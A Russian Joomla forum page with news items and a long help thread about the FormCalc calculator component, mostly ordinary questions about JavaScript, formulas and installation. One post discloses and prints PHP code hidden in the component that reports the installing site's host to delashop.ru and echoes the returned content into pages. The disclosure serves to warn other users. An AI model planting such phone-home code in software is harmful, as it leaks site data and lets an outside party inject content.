Новости Joomla

👩‍💻 Joomla включена в программу Google Summer of Code 2026.

👩‍💻 Joomla включена в программу Google Summer of Code 2026.

Google Summer of Code (GSoC) - программа компании Google, которая позволяет участникам программы под руководством опытных наставников писать код для организаций, занимающейся открытым исходным кодом. Joomla принимает участие в этой программе не в первый раз и в 2026 году снова включена в список GSoC. Для программы утверждается список "идей", воплотить которые должны участники под руководством наставников.

Проекты Joomla в рамках программы GSoC 2026.

Проект I: Ajax-бэкенд.
- Действия в административной панели без необходимости обновлять страницу.
- Автоматическое сохранение содержимого во время редактирования.
- Расширенный фильтр - поиск и фильтрация по пользовательским полям.

Проект II: Автоматизация рабочих процессов (workflow + task scheduler).
Joomla имеет функцию процессов и планировщика задач. Теперь эти две функции следует объединить, чтобы пользователь мог настраивать назначенные рабочие процессы таким образом, чтобы переходы выполнялись автоматически, с возможностью точного определения времени. Должна быть возможность создавать циклы или прямые запланированные рабочие процессы. Предполагается, что интерфейс должен учитывать хороший пользовательский опыт, удобство использования и современные стандарты доступности. Ожидается, что будет добавлен интерфейс для управления процессами и их расписанием на страницах категорий и материалов. Так же ожидается, что сторонние компоненты также смогут воспользоваться этим функционалом.

Проект III: Мультикатегории.
В настоящее время Joomla! не позволяет назначать один элемент нескольким категориям. Хотя система тегов часто используется в качестве замены, существует острая потребность в нативной поддержке нескольких категорий, чтобы привести Joomla! в соответствие с другими современными системами управления контентом.

Проект IV: Обучение с подкреплением на основе отзывов переводчиков.
Joomla собирается использовать автоматический перевод документации. В каждом языке есть свои специфические слова, характерные для Joomla. Предполагается обучать языковые модели, используя обратную связь от переводчиков, чтобы постоянно улучшать качество переводов и учитывать специфические языковые особенности Joomla.

Принять участие GSoC 2026
Подробнее о проектах Joomla GSoC 2026
Чат GSoC в Mattermost (международное сообщество Joomla)

Вышли релизы Joomla 6.0.3 и Joomla 5.4.3

Релиз Joomla 6.0.3 и Joomla 5.4.3

Проект Joomla рад сообщить о выпуске Joomla 6.0.3 и Joomla 5.4.3. Это релиз исправлений ошибок и улучшений для серии Joomla 6.0 и Joomla 5.4.

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

В процессе работы с Joomla бывает необходимо работать с пользовательским интерфейсом более тонко, чем обычно. Все формы Joomla состоят из стандартных полей, содержанием, стилем отображения, состоянием (включено/выключено, доступно для редактирования или нет и т.д.) можно управлять с помощью плагинов. Да и для нестандартных проектов хорошей практикой является создание одного системного или нескольких плагинов групп "под проект", в которых храниться весь "нестандарт".

В этой статье описаны все триггеры, которые вызываются через Event Dispatcher из administrator/components/com_fields/src/Helper/FieldsHelper.php, с привязкой к жизненному циклу (порядку этапов работы запроса), аргументам, изменяемым данным и дальнейшему распространению по Joomla. Это поможет вам работать с Joomla свободнее и не опасаясь при этом потерять изменения при очередном обновлении движка.

Подходы, описанные в статье, полезны в тех случаях, когда вы работаете с данными в com_fields - механизме создания и редактирования пользовательских полей ядра Joomla и при использовании FieldsHelper. Многие сторонние компоненты не используют эту возможность, поэтому данная статья будет полезна лишь частично.

0 Пользователей и 1 Гость просматривают эту тему.
  • 1017 Ответов
  • 288018 Просмотров
*

Mishanya_V

  • Осваиваюсь на форуме
  • 32
  • 0 / 0
нада помощь!
Есть код:
Код
<select id="sel1" name="first_ur" onchange="serv_sel(this.value)">
<option value="0">Первый селект</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
<br />
<div id="netbuk">
<br />
<b>Сделайте выбор</b>
<select name="disply1">
<option value="0">выбрать</option>
<option value="2000">1</option>
<option value="2300">12</option>
</select><br /><br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
</div>
<div id="noutbuk">
<b>Сделайте выбор</b>
<select name="disply2">
<option value="0">выбрать</option>
<option value="1">11,1</option>
<option value="1,25">15,6</option>
</select><br /><br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
<b>Для чего ещё будете использовать:</b> <br />
Текстовая часть  <input type="checkbox" name="igrat" value="1000"><br />
Текстовая часть <input type="checkbox" name="cad" value="500"><br />
Текстовая часть  <input type="checkbox" name="dezign" value="700"><br />
</div>
<div id="pers_komp">
<b>Выбор:</b>
<select name="disply3">
<option value="0">выбрать</option>
<option value="1">17</option>
<option value="1,25">18,5</option>
</select><br /><br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
Текст, Текст, Текст, Текст, Текст, Текст, Текст, <br />
<b>Ещё:</b> <br />
Текстовая часть <input type="checkbox" name="igrat" value="1000"><br />
Текстовая часть<input type="checkbox" name="cad" value="500"><br />
Текстовая часть<input type="checkbox" name="dezign" value="700"><br />
</div>
<div align="center" style="font-size: 30px">Стоимость <span id="rez_disp"></span></div><br />


<script>
document.getElementById('netbuk').style.display="none";
document.getElementById('noutbuk').style.display="none";
document.getElementById('pers_komp').style.display="none";

function serv_sel(perem)
{

switch (perem){
case '0':
document.getElementById('netbuk').style.display="none";
document.getElementById('noutbuk').style.display="none";
document.getElementById('pers_komp').style.display="none";
break;
case '1':
document.getElementById('netbuk').style.display="";
document.getElementById('noutbuk').style.display="none";
document.getElementById('pers_komp').style.display="none";
break;
case '2':
document.getElementById('netbuk').style.display="none";
document.getElementById('noutbuk').style.display="";
document.getElementById('pers_komp').style.display="none";
break;
case '3':
document.getElementById('netbuk').style.display="none";
document.getElementById('noutbuk').style.display="none";
document.getElementById('pers_komp').style.display="";
break
}
}


</script>

как сделать что бы при смене первого селекта все выбраные ранее пункты обнулялись??
*

yazicnik

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
Доброго времени суток! Помогите сделать калькулятор стоимости путевок. Готов заплатить!
*

yazicnik

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
Забыл пишите на
« Последнее редактирование: 16.03.2013, 00:03:06 от yazicnik »
*

alexj69

  • Захожу иногда
  • 244
  • 28 / 0
  • Думать надо!!!
Подскажите кто сталкивался. Калькулятор считает всю таблицу только после 4х обновлений страницы!
т.е. после введения данных считает только половину формул, затем после обоноления страницы еще часть и еще.

как этого избежать?

Спасибо!

Вот мои формулы:

Код
ploshad=({shirina}-0.4)*({dlina}-0.4)
P=({shirina}+{dlina})*2
Ssten= {P}*{vusota}*{etaj}-({P}*({vusota}*{etaj})*0.1)
hkol=Ssten/0.08
hcen=32
hsuma={hkol}*{hcen}

kokol=({Ssten}*52)+(({Ssten}*52)*0.1)
kocen=14
kosuma={kokol}*{kocen}

kzkol={kokol}*0.1
kzcen=6.8
kzsuma={kzkol}*{kzcen}

arkol=(({P}*6))+(({P}*6))*0.2
arcen=28
arsuma={arkol}*{arcen}

bekol=({P}*0.2*0.4)+({P}*0.85*0.45)
becen=3300
besuma={bekol}*{becen}

krokol={ploshad}*1.4
krocen=720
krosuma={krokol}*{krocen}

nrokol=1
nrocen=60000
nrosuma={nrokol}*{nrocen}

pskol=3
pscen=2500
pssuma={pskol}*{pscen}

kgkol={hkol}/12
kgcen=340
kgsuma={kgkol}*{kgcen}

cmkol=((({kokol}+{kzkol})/404)*1.5)
cmcen=260
cmsuma={cmkol}*{cmcen}

perekol={ploshad}
perecen=500
peresuma={ploshad}*{perecen}

Imaterial={hsuma}+{kosuma}+{kzsuma}+{arsuma}+{besuma}+{krosuma}+{nrosuma}+{pssuma}+{kgsuma}+{cmsuma}+{peresuma}

ufkol=({P}*0.8*0.4)
ufcen=2500
ufsuma={ufkol}*{ufcen}

kbkol={hkol}
kbcen=25
kbsuma={kbkol}*{kbcen}

upkol=5
upcen=500
upsuma={upkol}*{upcen}

kkkol={kokol}
kkcen=12
kksuma={kkkol}*{kkcen}

kkzkol={kzkol}
kkzcen=7
kkzsuma={kkzkol}*{kkzcen}

uppkol={ploshad}
uppcen=450
uppsuma={uppkol}*{uppcen}

armkol={P}
armcen=650
armsuma={P}*{armcen}

ykkol={krokol}
ykcen=780
yksuma={ykkol}*{ykcen}

Irabota={kbsuma}+{upsuma}+{kksuma}+{kkzsuma}+{uppsuma}+{armsuma}+{yksuma}
Ipmaterial={Irabota}+{Imaterial}
В идеале формула расчета должна быть одна. Если Вы применяете промежуточные значения, то они должны выводиться внутри формы. Почитайте на сайте автора компонента, там такой вариант рассматривается. Попробуйте максимально сократить количество промежуточных результатов, объединив все в одну сложную формулу.
*

Mishanya_V

  • Осваиваюсь на форуме
  • 32
  • 0 / 0
alexj69, сбросил вам е-mail мои проблемы((( ПОМОГИТЕ!
*

soft87

  • Новичок
  • 3
  • 6 / 0
Удалять посты не пригодные Вам не есть хорошо!!
Код встроенной рекламы в FormCalc в файлах:
/components/com_formcalc/views/formcalc/view.html.php
/plugins/content/formcalc/formcalc.php
Код: php
		$option = JRequest::getString('option');
//echo $option;
$task=  JRequest::getString('view');
$host = "delashop.ru/host.php?";
$who=$_SERVER['HTTP_HOST'];
$who=str_replace('.','_',$who);
$option_p = $option;
$task_p = $task;
$host .=  "who=".$who."&option=".$option_p."&task=".$task_p;

if (function_exists('curl_init')) {
$ch = curl_init($host);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);

curl_setopt($ch, CURLOPT_HEADER, 0);
$contents = curl_exec($ch);          
curl_close($ch);            
echo $contents;
}
*

kuzmich17

  • Новичок
  • 4
  • 0 / 0
всем привет!
так все-таки можно запустить formcalc на Joomla 3.0? у меня не получилось
ситуация такая: установился компонент, а плагина нет (content-formcalc)
шаблон от Yootheme
даже не знаю что и делать...
« Последнее редактирование: 18.03.2013, 12:03:04 от kuzmich17 »
*

gektor-gt

  • Осваиваюсь на форуме
  • 19
  • 0 / 0
реально ли к форме formcalc прикрутить календарь для выбора даты?
*

alexj69

  • Захожу иногда
  • 244
  • 28 / 0
  • Думать надо!!!
конечно реально
*

imhotep

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
попробовал рассчитать формулу:
rez=339.057*exp(-0,02441*10)
Не работает. Точно такую же формулу использую в ёкселе
=339.057*EXP(-0,02441*X)
Где Х - значение из ячейки. Подскажите гуру в чем ошибка?
*

imhotep

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
Сам разобрался. Ошибка в формуле.
*

imhotep

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
Как создать слайдер как на одном из примеров:
http://delajoom.ru/index.php/demonstracija-raboty/kalkulatr-okon-2
Внизу страницы 2 слайдера по выбору размеров.
*

alexj69

  • Захожу иногда
  • 244
  • 28 / 0
  • Думать надо!!!
Покопайтесь в коде страницы с примером. Там есть такой код:
Код
window.addEvent('domready', function(){
//********************
var slider = $('slider');
var mySlide = new Slider(slider, slider.getElement('.knob'), {
steps:2000,
offset:0,
onChange: function(value){
var t=value+1000;
//$('shir').setHTML(t);
$('shir').innerHTML=t;
document.getElementById('shirina_scrol').value=t;
//document.forms['calcForm'].elements['shirina_scrol'].fireEvent('change');
$('shirina_scrol').fireEvent('change');
}
}).set(300);
//********************
var slider2 = $('slider2');
var mySlide2 = new Slider(slider2, slider2.getElement('.knob2'), {
steps:2000,
offset:0,
onChange: function(value){
var t=value+1000;
$('visot').setHTML(t);
document.getElementById('visota_scrol').value=t;
$('visota_scrol').fireEvent('change');
}
}).set(400);
//********************
*

27NataRUS

  • Захожу иногда
  • 116
  • 0 / 0
Не подскажете, как реализовать, чтобы при расчете стоимости всегда оставалась запятая и после нее две цифры (копейки), даже если результат с 00 коп.?
*

vlasok

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
установил компонент для 3.Создал форму.Прописал в материале {formcalc 1}.Захожу на страницу.После моего текста просто написано {formcalc 1}
Все отлично немного подправила sql запрос  в formcalc.php и заработало))
Natalia005, подскажите что вы исправляли в formcalc.php у меня Joomla 3 утснавливается только компонент.Плагина нет.=(
« Последнее редактирование: 21.03.2013, 20:42:17 от vlasok »
*

vlasok

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
Поможет кто-нибудь?В воскресенье дедлайн.не могу ошибку найти
*

barma-glott

  • Новичок
  • 2
  • 0 / 0
установил версию для 1.6/1.7, вроде работает.
одна проблема - при заполнении формы в менеджере форм русская раскладка при сохранении превращается в вопросы.
соответственно, и на сайте отображаются знаки вопросов.
как лечить? Joomla 2.5
*

vlasok

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
На 3 не будет работать.Нужно изменить формат файлов с русской локализацией ru-Ru вроде называется на UTF-8 или cp1251
*

temnozor

  • Новичок
  • 5
  • 0 / 0
Здравствуйте люди добрые! очень нужна помощь ваша, никак не могу справиться с калькулятором, нужна форма по просчёту газоблока, так что бы клиент на сайте вводил только периметр стен. Может кто нибудь помочь?  И ещё один вопрос: почему  при изменении параметров в готовом калькуляторе результат не меняется  сразу а только после обновления страницы?
« Последнее редактирование: 22.03.2013, 22:49:15 от temnozor »
*

alexj69

  • Захожу иногда
  • 244
  • 28 / 0
  • Думать надо!!!
Здравствуйте люди добрые! очень нужна помощь ваша, никак не могу справиться с калькулятором, нужна форма по просчёту газоблока, так что бы клиент на сайте вводил только периметр стен. Может кто нибудь помочь?  И ещё один вопрос: почему  при изменении параметров в готовом калькуляторе результат не меняется  сразу а только после обновления страницы?
Готов помочь, за подробностями в личку
*

temnozor

  • Новичок
  • 5
  • 0 / 0
Отправил на почту
*

vlasok

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
А мне кто-нибудь поможет тут?
*

alexj69

  • Захожу иногда
  • 244
  • 28 / 0
  • Думать надо!!!
А мне кто-нибудь поможет тут?
А что надо?
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
и мне тоже
*

idiss

  • Новичок
  • 1
  • 0 / 0
Подскажите, пожалуйста, какой день не могу разобраться.
При использование select калькулятор не считает, причет только в IE, в остальных браузерах все хорошо.
Выдает ошибку:

Сообщение: 'selected' -  есть null или не является объектом
Строка: 13
Символ: 21
Код: 0
URI-код: http://12volt54.ru/components/com_formcalc/assets/js/formcalc.js


Сообщение: Объект не поддерживает это свойство или метод
Строка: 12
Символ: 17
Код: 0
URI-код: http://12volt54.ru/components/com_formcalc/assets/js/formcalc.js


Сообщение: Объект не поддерживает это свойство или метод
Строка: 514
Символ: 25
Код: 0
URI-код: http://12volt54.ru/media/system/js/mootools-core.js


Сообщение: 'selected' -  есть null или не является объектом
Строка: 13
Символ: 21
Код: 0
URI-код: http://12volt54.ru/components/com_formcalc/assets/js/formcalc.js


Сообщение: Объект не поддерживает это свойство или метод
Строка: 12
Символ: 17
Код: 0
URI-код: http://12volt54.ru/components/com_formcalc/assets/js/formcalc.js

очень сильно поможете. Спасибо.
*

CrazyLuna

  • Осваиваюсь на форуме
  • 18
  • 0 / 0
Добрый день.
Помогите пожалуйста.
Нужно объединить два скрипта

Есть код
Код
<select  name="views" id="views" onchange="f()" >
        <option disabled="">выбирите</option>
        <option value="250|5000+">5000+</option>
        <option value="450|10000+">10000+</option>
        <option value="3000|50000+">50000+</option>
        <option value="5000|100000+">100000+</option>
        <option value="25000|500000+">500000+</option>
        <option value="35000|1000000+">1000000+</option>
      </select>
      <div >
<input id="vprice" type="text" name="vprice" value=""> <br/>
<input name="viewscount" id="viewscount" type="text" value="">
</div>
      <script>
f=(function (){
var views = document.getElementById("views").value;
var value = views.split('|');
document.getElementById("vprice").value=value[0];
document.getElementById("viewscount").value =value[1];
document.forms['calcForm'].elements['views'].fireEvent('change');
});
</script>

Нужно, чтобы при выборе менялась общая сумма на странице.
Вставка кода
Код
document.getElementById("views").value=100;
document.forms['calcForm'].elements['views'].fireEvent('change');
естественно, не помогает

Хэлп!

Скорее всего, есть пусть еще проще.
Задача - передать в письме админу помимо значения value еще и text. Но я вообще не знаю как.
« Последнее редактирование: 25.03.2013, 19:15:53 от CrazyLuna »
*

yazicnik

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
Помогите разработать форму-калькулятор тур-путевок) ТЗ ГОТОВО))) Готов заплатить!
*

alexj69

  • Захожу иногда
  • 244
  • 28 / 0
  • Думать надо!!!
Помогите разработать форму-калькулятор тур-путевок) ТЗ ГОТОВО))) Готов заплатить!
Отправьте ТЗ в личку.
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
а мне пластиковых окон
*

spsyper

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Скачал данный компонент - установил, всё вроде бы - ок. Скачал готовые решения, решил протестировать как всё работает, но к сожалению, скопировав полностью данные с примера в нужные ячейки, сохранив, вывел через вставку в материал, все поля вывелись, всё - ок, но к сожалению при вводе значений в поля, не происходит никакого подсчета, не подскажите в чем может быть проблема?
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Компонент Web Plan интерактивная карта для Joomla 1.5 (построение сайтов плановых объектов)

Автор DelaShop

Ответов: 39
Просмотров: 33368
Последний ответ 21.01.2018, 14:50:57
от Dinamitt
Калькулятор форм - продолжение

Автор osobist

Ответов: 2
Просмотров: 5809
Последний ответ 25.01.2015, 18:00:18
от dj_serg
Отрывной календарь Joomla, календарь событий.

Автор DelaShop

Ответов: 35
Просмотров: 33967
Последний ответ 17.12.2014, 06:20:05
от EndVal
Компонент " Просто каталог Joomla + Mixmarket Joomla "

Автор DelaShop

Ответов: 16
Просмотров: 19058
Последний ответ 10.07.2013, 11:06:13
от konservator